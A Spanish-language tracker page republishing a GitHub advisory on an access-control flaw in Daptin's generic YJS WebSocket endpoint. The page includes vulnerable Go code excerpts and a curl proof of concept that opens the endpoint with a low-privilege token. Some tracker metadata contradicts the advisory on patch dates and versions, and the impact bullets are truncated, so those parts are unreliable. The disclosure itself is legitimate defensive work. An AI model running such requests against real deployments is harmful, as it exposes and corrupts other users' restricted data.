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Advisory · GitHub · Go · github.com/daptin/daptin

GHSA-WJ7X-58C2-5793

Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint

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CVSS 3.1
9.6
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -115 d de la divulgación
Exposición1 dDesde la divulgación, 19 nov 2026, 7:14 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche v0.12.30
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
28 jul 26
18 nov 26
20 nov 26
21 nov 26
28 jul 26
26 ago 26
24 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche v0.12.30 github.com/daptin/daptin · -115 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-WJ7X-58C2-5793 divulgada · CVSS 9.6 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Daptin registers a generic WebSocket endpoint, `GET /yjs/:documentName`, for real-time collaborative
document editing (YJS/CRDT). Unlike its purpose-built sibling route, this generic endpoint performs
no per-resource authorization check - it only verifies that *some* user session exists. Because the
document store parses `:documentName` as `typename.referenceId.columnName` and fetches that row's
real column content unconditionally, any authenticated user (including a brand-new, zero-privilege,
self-registered account) can read - and, since YJS sync is bidirectional, also write - the content
of any `file.*`-typed column on any row of any table, including tables that are admin-only by
default.

Details

`InitializeYjsResources` (`server/endpoint_yjs.go`) registers two routes.

The purpose-built, correctly-secured route, registered once per `file.*`-typed column on every
table:

// server/endpoint_yjs.go:47-113 (abridged)
path := fmt.Sprintf("/live/%v/:referenceId/%v/yjs", typename, columnInfo.ColumnName)
...
return func(ginContext *gin.Context) {
    sessionUser := ...
    if sessionUser == nil { ginContext.AbortWithStatus(403); return }
    ...
    object, _, getErr := cruds[typename].GetSingleRowByReferenceIdWithTransaction(typename, parsedId, nil, tx)
    if getErr != nil { ginContext.AbortWithStatus(404); return }
    ...
    objectPermission := cruds[typename].GetRowPermission(object, tx2)
    if !objectPermission.CanUpdate(user.UserReferenceId, user.Groups, cruds[typename].AdministratorGroupId) {
        ginContext.AbortWithStatus(401)
        return
    }
    roomName := fmt.Sprintf("%v%v%v%v%v", typename, ".", referenceId, ".", columnInfo.ColumnName)
    ...
    yjsConnectionHandler(ginContext.Writer, ginContext.Request)
}

This route correctly requires a session, loads the actual row, and checks
`objectPermission.CanUpdate(...)` for the specific requesting user before allowing the WebSocket
upgrade.

A second, generic route is registered right above it, with none of those checks:

// server/endpoint_yjs.go:27-38
defaultRouter.GET("/yjs/:documentName", func(ginContext *gin.Context) {
    sessionUser := ginContext.Request.Context().Value("user")
    if sessionUser == nil {
        ginContext.AbortWithStatus(403)
        return
    }
    yjsConnectionHandler(ginContext.Writer, ginContext.Request)
})

The only gate here is "is some session present" - there is no lookup of the referenced row, no
`GetRowPermission`, no `CanUpdate`/`CanRead` check at all. `:documentName` is taken verbatim from
the URL and handed straight to `yjsConnectionHandler`.

The YJS document store's content provider parses `documentName` using exactly the
`typename.referenceId.columnName` convention the secure route builds internally as `roomName`, and
uses it to fetch the real row from the database with no authorization check of its own:

// server/yjs_doucment_provider.go:41-115 (abridged)
ydb.WithInitialContentProvider(func(documentPath string) []byte {
    pathParts := strings.Split(documentPath, ".")
    typeName, referenceId, columnName := pathParts[0], pathParts[1], pathParts[2]
    crud := cruds[typeName]
    object, _, getErr := crud.GetSingleRowByReferenceIdWithTransaction(typeName, parsedId,
        map[string]bool{columnName: true}, tx)
    ...
    // decodes and returns the actual file/column content, base64-decoded, as the
    // initial content of the shared collaborative document
})

Because the generic route performs no permission check, any authenticated user can supply
`documentName = "<any table>.<any reference_id>.<any file.* column>"` and the initial YJS sync will
serve them that row's real content - including rows whose table has `DefaultGroups: adminsGroup`
(admin-only by default, e.g. the built-in `calendar` table) or rows an ordinary user's own row-level
permissions would otherwise forbid them from reading. Since YJS sync is bidirectional, a connected
client can also push edits, which legitimate collaborators may later pull back in through the
correctly secured `/live/...` route, giving a write/corruption path as well as a read path.

PoC

Built and ran current HEAD in a clean container; created two accounts (`admin@admin.com`, first
signup -> admin; `bob@bob.com`, second signup -> ordinary, non-admin user with default permissions
only):

# 1) Generic endpoint accepts ANY authenticated session for ANY document name,
#    including a syntactically-valid-but-nonexistent reference_id on an admin-only table:
curl -i -N \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 101 Switching Protocols        <-- ACCEPTED, no ownership/permission check at all

# 2) The purpose-built, secured sibling route correctly validates the very same identifier:
curl -i -N \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "http://localhost:6336/live/calendar/deadbeef-0000-0000-0000-000000000000/content/yjs"
# => HTTP/1.1 404 Not Found                  <-- looks the row up, would 401 if it existed and Bob lacked access

# 3) Sanity check: the generic endpoint DOES require *some* session (not fully unauthenticated) --
#    the flaw is specifically the missing per-resource check, not a missing session check:
curl -i -N \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 403 Forbidden

`bob@bob.com` has zero relationship to the `calendar` table (whose `DefaultGroups` is `adminsGroup`
- admin-only by default) or to the fabricated reference ID, yet the generic route unconditionally
upgrades the connection for him. Any real row's `typename.referenceId.columnName` - reference IDs
routinely appear in ordinary list/read API responses even when the sensitive column itself is
restricted - is enough to pull that column's actual content through this side channel, fully
bypassing the row/column permission system that the sibling `/live/...` route (and the rest of
Daptin's permission model) correctly enforces.

Impact
  • Confidentiality: any signed-up user, including a brand-new self-registered account with no
  • Integrity: because YJS sync is bidirectional CRDT replication, the same low-privileged
  • Who is impacted: every Daptin deployment with at least one `file.*`-typed column (built-in
Resolution

Fixed on the default branch in daptin/daptin@a1a3c48f. Canonical database-backed YJS rooms now use the same row lookup and existing PermissionInstance.CanUpdate/CanRead authorization for both /yjs/:documentName and /live/... routes. Update permission grants read-write access; read-only permission grants a read-only YJS session; unauthorized and missing resources fail closed with 404. Standalone non-canonical room names retain their existing authenticated, shared-by-name behavior. The initial-content provider now validates the exact canonical form, UUID, table, and file.* column before database access.

Read-only protocol enforcement is provided by artpar/ydb v0.4.1 (artpar/ydb@b79b01a), which fully consumes but drops all client YJS sync write subtypes while continuing to deliver history and broadcasts.

Verification included YDB race tests for all sync subtypes, concatenated-frame handling, persistence/broadcast suppression, catch-up, and connection continuity; Daptin permission/parser unit tests; the full Daptin test suite; server race tests; go vet; and a fresh-instance CLI/WebSocket exercise covering authentication, fail-closed canonical routes, standalone compatibility, and canonical/live cross-route relay.

No patched Daptin version is listed until a release containing a1a3c48f is published.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.7/ 10Muy alto
Vector 8.7 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/daptin/daptin≥ 0.11.4 < 0.12.30
0.11.4
0.12.30
v0.13.57
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/daptin/daptin
Corregida v0.12.30 -115 d v0.13.57 no afectada
Versiones corregidas0.12.30v0.12.30
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-77369
Otrahttps://github.com/daptin/daptin/security/advisories/GHSA-wj7x-58c2-5793
Otrahttps://github.com/daptin/daptin/commit/a1a3c48f88ce30632a57d3fe6a971033b23bd394
Otrahttps://github.com/daptin/daptin
Otrahttps://github.com/daptin/daptin/releases/tag/v0.12.30

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